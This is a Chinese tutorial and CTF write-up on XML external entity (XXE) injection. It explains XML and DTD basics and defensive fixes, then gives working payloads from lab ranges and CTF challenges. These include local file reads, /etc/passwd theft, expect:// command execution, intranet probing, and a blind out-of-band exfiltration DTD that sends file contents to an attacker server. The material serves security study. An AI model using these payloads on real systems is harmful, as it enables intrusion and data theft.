文章目录
思维导图
基础知识
XML
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、
DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE
XXE 漏洞全称
XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发
生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载
恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站
等危害。
XML 与 HTML 的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
XXE 漏洞修复与防御方案-php,java,python-过滤及禁用
方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC
涉及案例:
pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
在D盘创建test.txt
pikachu靶场xxe
玩法-内网探针或攻击内网应用(触发漏洞地址)
实际应用中基本碰不到
前提条件
- 内网IP地址
- 开放端口
- 纯在xxe漏洞
- 构造漏洞地址
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.80.1:80/test.txt" >
]>
<x>&rabbit;</x>
网站根目录下 test.txt
玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令 实际应用中很难碰到
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
引入外部实体 dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>
evil2.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;
开启apache日志功能-access.log
5oiR54ix5ZCD55OcIQ== base64解密 ———》 我爱吃瓜!
协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
开启回显(恢复把刚才注释的语句)
把上面的语句提交
xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
靶场下载地址:https://github.com/c0ny1/xxe-lab
1.提交的数据包含 XML 格式如:
<forgot><username>admin</username></forgot>
2.请求头中如:
- Content-Type:text/xml
- Content-type:application/xml
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
目标站点
(不知道账号密码 )
攻击机IP
扫描网段
发现可疑地址
浏览器访问可疑IP
扫描探针目录,发现robots.txt
访问robots.txt
试着访问/xxe
抓包该包
查看xxe.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;
echo "Sorry, this $name not available!";
?>
查看admin.php
发现账号密码
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609')
MD5查询
尝试登录/xxe/admin.php
发现flag,但是页面不能访问到
使用 payload读取flagmeout.php文件
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>
解密获取到flagmeout.php
PD9waHAKJGZsYWcgPSAiPCEtLSB0aGUgZmxhZyBpbiAoSlFaRk1NQ1pQRTRIS1dUTlBCVUZVNkpWTzVRVVFRSjUpIC0tPiI7CmVjaG8gJGZsYWc7Cj8+Cg==
base64解码
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
base32————————》
L2V0Yy8uZmxhZy5waHA=
base64————————》
/etc/.flag.php
然后在使用payload语句
读取/etc/.flag.php
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>
base64解码
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Ã=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Ã[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Ã.$Â.$Ã.$___.$Ã.$À.$Ã.$___.$Ã.$À.$È.$___.$Ã.$À.$Ã.$___.$Ã.$Â.$Ã.$___.$Ã.$Â.$À.$___.$Ã.$É.$Ã.$___.$Ã.$É.$À.$___.$Ã.$É.$À.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ã.$É.$___.$Ã.$Æ.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$Ã.$É.$___.$Ã.$È.$Ã.$___.$Ã.$Æ.$É.$___.$Ã.$Ã.$É.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ä.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$É.$Ã.$___.$Ã.$É.$Æ.'"');$__($_);
php在线运行
PHP Notice: Undefined variable: _ in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Undefined variable: __ in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Undefined variable: Ã in /usercode/file.php on line 2
PHP Parse error: syntax error, unexpected '{' in /usercode/file.php(2) : assert code on line 1
PHP Catchable fatal error: assert(): Failure evaluating code:
SAFCSP{xxe_is_so_easy} in /usercode/file.php on line 2
获取flag
SAFCSP{xxe_is_so_easy}
CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
http://web.jarvisoj.com:9882/
更改请求数据格式:application/json ----> application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz
涉及资源:
http://web.jarvisoj.com:9882/
https://github.com/c0ny1/xxe-lab
https://github.com/enjoiz/XXEinjector
https://download.vulnhub.com/xxe/XXE.zip
https://www.cnblogs.com/bmjoker/p/9614990.html